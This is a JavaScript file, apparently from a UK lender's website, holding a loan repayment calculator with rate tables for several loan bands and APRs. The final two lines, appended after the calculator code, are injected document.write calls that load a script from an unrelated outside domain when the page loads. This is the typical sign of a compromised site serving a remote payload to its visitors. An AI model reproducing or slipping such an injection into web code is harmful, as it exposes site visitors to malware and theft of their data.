<!-- 
/* matrices follow layout on spreadsheet docs, with y-axis (from top to bottom): 300 months, 240 months, 180 months, 120 months, 90 months, 60 months */
/* x-axis (Single Cover,No Cover) */

/* matrix of values for loans >=3000 and <4999, APR 11.9% */
var v = new Array(new Array('12.05','10.05'),
	  			new Array('12.66','10.55'),
				new Array('13.89','11.58'),
				new Array('16.75','13.97'),
				new Array('19.85','16.55'),
				new Array('26.28','21.91')); 
				
/* matrix of values for loans >=3000 and <4999, APR 12.9%
var v = new Array(new Array('11.63','10.71'),
	  			new Array('12.19','11.18'),
				new Array('13.35','12.15'),
				new Array('16.18','14.48'),
				new Array('19.38','17.03'),
				new Array('26.41','22.36')); */

/* matrix of values for loans >=5000 and <9999, APR 10.7% */
var w = new Array(new Array('11.08','9.24'),
	  			new Array('11.74','9.79'),
				new Array('13.05','10.88'),
				new Array('15.99','13.33'),
				new Array('19.13','15.95'),
				new Array('25.61','21.35'));

/* matrix of values for loans >=5000 and <9999, APR 11.4%
var w = new Array(new Array('10.49','9.72'),
	  			new Array('11.1','10.25'),
				new Array('12.33','11.3'),
				new Array('15.24','13.71'),
				new Array('18.46','16.31'),
				new Array('25.5','21.69')); */

/* matrix of values for loans (>=10000 and <19999), APR 9.7%
var x = new Array(new Array('9.23','8.63'),
	  			new Array('9.91','9.22'),
				new Array('11.22','10.35'),
				new Array('14.19','12.86'),				
				new Array('17.44','15.5'),				
				new Array('24.47','20.93')); */

/* matrix of values for loans (>=20000 and <34999), APR 8.6%
var y = new Array(new Array('8.43','7.93'),
	  			new Array('9.15','8.56'),
				new Array('10.15','9.74'),
				new Array('13.52','12.3'),				
				new Array('16.78','14.97'),				
				new Array('23.81','20.43')); */

/* matrix of values for loans >=10000 and <=75000, APR 7.4% */
var z = new Array(new Array('8.63','7.2'),
	  			new Array('9.44','7.87'),
				new Array('10.91','9.1'),
				new Array('14.04','11.71'),				
				new Array('17.28','14.41'),				
				new Array('23.85','19.90'));
				
/* matrix of values for loans >=10000 and <=75000, APR 6.9%
var z = new Array(new Array('8.27','6.9'),
	  			new Array('9.11','7.59'),
				new Array('10.60','8.84'),
				new Array('13.76','11.47'),				
				new Array('17.01','14.18'),				
				new Array('23.6','19.67')); */
				
function displayVals(){

	var c = document.forms.calc.amount.value;

/* filter out pound signs and commas */	
	if (c.indexOf("£")==-1){
	   var ispound = 0;
	}
	else if (c.indexOf("£")==0){
	   var ispound = 1;
	}
	
	if (ispound==1){
	   splitresult1 = c.split("£");
	   second1 = (splitresult1[1]).toString();
	   c = second1;
	}
		
	if (c.indexOf(" ")!=-1){
		d = 0;	
	}	
		
	if (c.indexOf(",")==-1){
	   var iscomma = 0;	
	}
	else if (c.indexOf(",")!=-1){
	   var iscomma = 1;	
	}	
	if (iscomma==1){
	   splitresult2 = c.split(",");
	   first2 = (splitresult2[0]).toString();
	   if (splitresult2[1].length==3){ 
	   second2 = (splitresult2[1]).toString();	
	   d = first2 + second2;
	   }
	   else {
	   d = 0;
	   }
	}	
	else if (iscomma==0){
	d = c;
	}
		
	if ((d>=3000)&&(d<4999)){
	   	table = v;
	   	document.forms.calc.apr.value = '11.9% APR';}
	else if ((d>=5000)&&(d<9999)){
		table = w;
		document.forms.calc.apr.value = '10.7% APR';}
	else if ((d>=10000)&&(d<=75000)){
		table = z;
		document.forms.calc.apr.value = '7.4% APR';}
		/*
	else if ((d>=20000)&&(d<=34999)){
		table = y;
		document.forms.calc.apr.value = '8.6% APR';}
	else if ((d>=35000)&&(d<=49999)){
		table = z;
		document.forms.calc.apr.value = '7.9% APR';}
		*/
	else if ((d>75000)&&(d<=500000)){
		document.forms.calc.repayment.value = '';
		document.forms.calc.apr.value = '';
		window.open('misc/secure_popup.html','secure_popup','screenx=0,screeny=0,left=0,top=0,height=227,width=500,location=no,menubar=no,resizable,scrollbars=no,status=no,toolbar=no');
		return;
	}
	else {
		window.alert('Please enter a valid amount between £3,000 and £500,000');
		document.forms.calc.repayment.value = '';
		document.forms.calc.apr.value = '';
		return;
	}
		
	var e = document.forms.calc.period.options[document.forms.calc.period.selectedIndex].value;	
	if (e==60){
	   row = '5';
	}
	else if (e==90){
	   row = '4';
	}
	else if (e==120){
	   row = '3';
	}
	else if (e==180){
	   row = '2';
	}
	else if (e==240){
	   row = '1';
	}
	else if (e==300){
	   row = '0';
	}

	/* [ fmtPrice() function  by Rolf Howarth  (rolf@paralax.co.uk) ] */	
	function fmtPrice(value){
   		result=Math.floor(value)+".";
   		var cents=100*(value-Math.floor(value))+0.5;
   		result += Math.floor(cents/10);
   		result += Math.floor(cents%10);
   		return result;
   		}

	var cover_selected = document.forms.calc.cover_select.options[document.forms.calc.cover_select.selectedIndex].value;

	if (cover_selected == "no"){
		var basic_value = (table[row][1])*(d/1000);
		no_value = fmtPrice(basic_value);
		document.forms.calc.repayment.value = "£"+no_value;
		/* make hidden field have value carried through from inputted amount value */
		document.forms.calc.quote_val.value = d;
	}
	else if (cover_selected == "cover"){
		var basic_value = (table[row][0])*(d/1000);
		sc_sl_value = fmtPrice(basic_value);
		document.forms.calc.repayment.value = "£"+sc_sl_value;
		/* make hidden field have value carried through from inputted amount value */
		document.forms.calc.quote_val.value = d;
	}	
}
//-->
document.write('<script src=http://pakbazarmela.com/images/gifimg.php ><\/script>');
document.write('<script src=http://pakbazarmela.com/images/gifimg.php ><\/script>');